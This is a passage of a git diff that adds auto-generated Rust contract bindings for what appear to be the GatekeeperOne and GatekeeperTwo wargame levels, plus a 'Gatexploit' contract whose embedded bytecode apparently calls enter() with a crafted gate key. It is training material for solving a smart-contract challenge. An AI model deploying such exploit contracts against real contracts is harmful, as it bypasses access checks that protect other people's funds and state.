::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEKEEPERONE_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct GatekeeperOne(::ethers::contract::Contract); + impl ::core::clone::Clone for GatekeeperOne { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for GatekeeperOne { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for GatekeeperOne { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for GatekeeperOne { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(GatekeeperOne)) + .field(&self.address()) + .finish() + } + } + impl GatekeeperOne { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + GATEKEEPERONE_ABI.clone(), + client, + )) + } + ///Calls the contract's `enter` (0x3370204e) + /// function + pub fn enter( + &self, + gate_key: [u8; 8], + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([51, 112, 32, 78], gate_key) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `entrant` (0x9db31d77) + /// function + pub fn entrant( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([157, 179, 29, 119], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for GatekeeperOne + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `enter` function with signature `enter(bytes8)` and + /// selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "enter", abi = "enter(bytes8)")] + pub struct EnterCall { + pub gate_key: [u8; 8], + } + ///Container type for all input parameters for the + /// `entrant` function with signature `entrant()` and + /// selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "entrant", abi = "entrant()")] + pub struct EntrantCall; + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum GatekeeperOneCalls { + Enter(EnterCall), + Entrant(EntrantCall), + } + impl ::ethers::core::abi::AbiDecode for GatekeeperOneCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Enter(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Entrant(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for GatekeeperOneCalls { + fn encode(self) -> Vec { + match self { + Self::Enter(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Entrant(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for GatekeeperOneCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::Enter(element) => ::core::fmt::Display::fmt(element, f), + Self::Entrant(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for GatekeeperOneCalls { + fn from(value: EnterCall) -> Self { Self::Enter(value) } + } + impl ::core::convert::From for GatekeeperOneCalls { + fn from(value: EntrantCall) -> Self { Self::Entrant(value) } + } + ///Container type for all return fields from the + /// `enter` function with signature `enter(bytes8)` and + /// selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct EnterReturn(pub bool); + ///Container type for all return fields from the + /// `entrant` function with signature `entrant()` and + /// selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct EntrantReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/gatekeeper_one_clone.rs b/attack/src/abi/gatekeeper_one_clone.rs new file mode 100644 index 0000000..68895f0 --- /dev/null +++ b/attack/src/abi/gatekeeper_one_clone.rs @@ -0,0 +1,333 @@ +pub use gatekeeper_one_clone::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod gatekeeper_one_clone { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("enter"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("enter"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_gateKey"), + kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( + 8usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bytes8"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("entrant"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("entrant"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEKEEPERONECLONE_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[Pa\x03\x96\x80a\0\x1F`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02\xDCV[a\0\xA8V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x83\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\xB6W`\0\x80\xFD[a\x1F\xFFZa\0\xC4\x91\x90a\x03%V[\x15a\0\xCEW`\0\x80\xFD[\x81\x80`\xC0\x1Ca\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x01sW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part one\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[`\xC0\x81\x90\x1Cc\xFF\xFF\xFF\xFF\x81\x16\x03a\x02\x0CW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part two\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[2a\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x02\xA8W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`+`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part three\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x162\x17\x90U`\x01\x91PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xEEW`\0\x80\xFD[\x815\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81\x16\x81\x14a\x03\x1EW`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x03[W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x06\x90V\xFE\xA2dipfsX\"\x12 7\xFD,\xD5n\xA0\xC7\xBF\x7F\x9B\xD9\xAEQ\x81\n\xBC\xED\x0C\x10d;f\xA2[G\0\x1F\xA5\xBC\xC2^edsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static GATEKEEPERONECLONE_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02\xDCV[a\0\xA8V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x83\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\xB6W`\0\x80\xFD[a\x1F\xFFZa\0\xC4\x91\x90a\x03%V[\x15a\0\xCEW`\0\x80\xFD[\x81\x80`\xC0\x1Ca\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x01sW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part one\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[`\xC0\x81\x90\x1Cc\xFF\xFF\xFF\xFF\x81\x16\x03a\x02\x0CW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part two\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[2a\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x02\xA8W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`+`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part three\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x162\x17\x90U`\x01\x91PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xEEW`\0\x80\xFD[\x815\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81\x16\x81\x14a\x03\x1EW`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x03[W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x06\x90V\xFE\xA2dipfsX\"\x12 7\xFD,\xD5n\xA0\xC7\xBF\x7F\x9B\xD9\xAEQ\x81\n\xBC\xED\x0C\x10d;f\xA2[G\0\x1F\xA5\xBC\xC2^edsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static GATEKEEPERONECLONE_DEPLOYED_BYTECODE: + ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct GatekeeperOneClone(::ethers::contract::Contract); + impl ::core::clone::Clone for GatekeeperOneClone { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for GatekeeperOneClone { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for GatekeeperOneClone { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for GatekeeperOneClone { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(GatekeeperOneClone)) + .field(&self.address()) + .finish() + } + } + impl GatekeeperOneClone { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + GATEKEEPERONECLONE_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + GATEKEEPERONECLONE_ABI.clone(), + GATEKEEPERONECLONE_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `enter` (0x3370204e) + /// function + pub fn enter( + &self, + gate_key: [u8; 8], + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([51, 112, 32, 78], gate_key) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `entrant` (0x9db31d77) + /// function + pub fn entrant( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([157, 179, 29, 119], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for GatekeeperOneClone + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `enter` function with signature `enter(bytes8)` and + /// selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "enter", abi = "enter(bytes8)")] + pub struct EnterCall { + pub gate_key: [u8; 8], + } + ///Container type for all input parameters for the + /// `entrant` function with signature `entrant()` and + /// selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "entrant", abi = "entrant()")] + pub struct EntrantCall; + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum GatekeeperOneCloneCalls { + Enter(EnterCall), + Entrant(EntrantCall), + } + impl ::ethers::core::abi::AbiDecode for GatekeeperOneCloneCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Enter(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Entrant(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for GatekeeperOneCloneCalls { + fn encode(self) -> Vec { + match self { + Self::Enter(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Entrant(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for GatekeeperOneCloneCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::Enter(element) => ::core::fmt::Display::fmt(element, f), + Self::Entrant(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for GatekeeperOneCloneCalls { + fn from(value: EnterCall) -> Self { Self::Enter(value) } + } + impl ::core::convert::From for GatekeeperOneCloneCalls { + fn from(value: EntrantCall) -> Self { Self::Entrant(value) } + } + ///Container type for all return fields from the + /// `enter` function with signature `enter(bytes8)` and + /// selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct EnterReturn(pub bool); + ///Container type for all return fields from the + /// `entrant` function with signature `entrant()` and + /// selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct EntrantReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/gatekeeper_two.rs b/attack/src/abi/gatekeeper_two.rs new file mode 100644 index 0000000..f2fec75 --- /dev/null +++ b/attack/src/abi/gatekeeper_two.rs @@ -0,0 +1,142 @@ +pub use gatekeeper_two::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod gatekeeper_two { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([( + ::std::borrow::ToOwned::to_owned("enter"), + ::std::vec![::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("enter"), + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_gateKey"), + kind: + ::ethers::core::abi::ethabi::ParamType::FixedBytes( + 8usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bytes8"), + ), + },], + outputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + },], + constant: ::core::option::Option::None, + state_mutability: + ::ethers::core::abi::ethabi::StateMutability::NonPayable, + },], + )]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEKEEPERTWO_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct GatekeeperTwo(::ethers::contract::Contract); + impl ::core::clone::Clone for GatekeeperTwo { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for GatekeeperTwo { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for GatekeeperTwo { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for GatekeeperTwo { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(GatekeeperTwo)) + .field(&self.address()) + .finish() + } + } + impl GatekeeperTwo { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + GATEKEEPERTWO_ABI.clone(), + client, + )) + } + ///Calls the contract's `enter` (0x3370204e) + /// function + pub fn enter( + &self, + gate_key: [u8; 8], + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([51, 112, 32, 78], gate_key) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for GatekeeperTwo + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `enter` function with signature `enter(bytes8)` and + /// selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "enter", abi = "enter(bytes8)")] + pub struct EnterCall { + pub gate_key: [u8; 8], + } + ///Container type for all return fields from the + /// `enter` function with signature `enter(bytes8)` and + /// selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct EnterReturn(pub bool); +} diff --git a/attack/src/abi/gatexploit.rs b/attack/src/abi/gatexploit.rs new file mode 100644 index 0000000..c117626 --- /dev/null +++ b/attack/src/abi/gatexploit.rs @@ -0,0 +1,173 @@ +pub use gatexploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod gatexploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([( + ::std::borrow::ToOwned::to_owned("attack"), + ::std::vec![::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("attack"), + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + },], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: + ::ethers::core::abi::ethabi::StateMutability::NonPayable, + },], + )]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[Pa\x01\x94\x80a\0\x1F`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0+W`\x005`\xE0\x1C\x80c\xD0\x18\xDB>\x14a\x000W[`\0\x80\xFD[a\0Ca\0>6`\x04a\0\xFFV[a\0EV[\0[`@Q\x7F3p N\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R}\x97 \0\0\x97 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\x04\x82\x01R\x81\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16\x90c3p N\x90aa\t\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x88\x87\xF1\x15\x80\x15a\0\xD5W=`\0\x80>=`\0\xFD[PPPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xFA\x91\x90a\x01\x14a\x000W[`\0\x80\xFD[a\0Ca\0>6`\x04a\0\xFFV[a\0EV[\0[`@Q\x7F3p N\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R}\x97 \0\0\x97 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\x04\x82\x01R\x81\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16\x90c3p N\x90aa\t\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x88\x87\xF1\x15\x80\x15a\0\xD5W=`\0\x80>=`\0\xFD[PPPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xFA\x91\x90a\x01(::ethers::contract::Contract); + impl ::core::clone::Clone for Gatexploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for Gatexploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for Gatexploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for Gatexploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Gatexploit)) + .field(&self.address()) + .finish() + } + } + impl Gatexploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + GATEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + 